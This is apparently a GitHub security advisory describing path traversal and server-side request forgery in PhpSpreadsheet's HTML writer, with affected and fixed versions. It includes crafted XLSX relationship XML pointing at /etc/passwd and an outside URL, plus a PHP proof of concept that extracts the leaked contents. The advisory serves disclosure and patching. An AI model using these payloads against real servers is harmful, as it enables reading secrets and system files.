GHSA-w9xv-qf98-ccq4
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | phpoffice/phpspreadsheet | >= 2.2.0, < 2.3.0 | 2.3.0 |
| Packagist | phpoffice/phpspreadsheet | < 1.29.2 | 1.29.2 |
| Packagist | phpoffice/phpspreadsheet | >= 2.0.0, < 2.1.1 | 2.1.1 |
| Packagist | phpoffice/phpexcel | <= 1.8.2 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
### Details
XLSX files allow embedding or linking media. When
In `xl/drawings/drawing1.xml` an attacker can do e.g.:
```xml
<a:blip cstate="print" r:link="rId1" />
```
And then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:
```xml
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="/etc/passwd" />
```
or
```xml
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://example.org" />
```
When the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.
```php
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
$picture = @file_get_contents($filename);
if ($picture !== false) {
$imageDetails = getimagesize($filename) ?: ['mime' => ''];
// base64 encode the binary data
$base64 = base64_encode($picture);
$imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
}
}
$html .= '<img style="position: absolute; z-index: 1; left: '
. $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
. $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
. $imageData . '" alt="' . $filedesc . '" />';
```
### PoC
```php
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));
```
Add this file in the same directory:
[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)
Run with:
`php index.php`
### Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4
- https://nvd.nist.gov/vuln/detail/CVE-2024-45291
- https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a
- https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec
- https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465
- https://github.com/PHPOffice/PhpSpreadsheet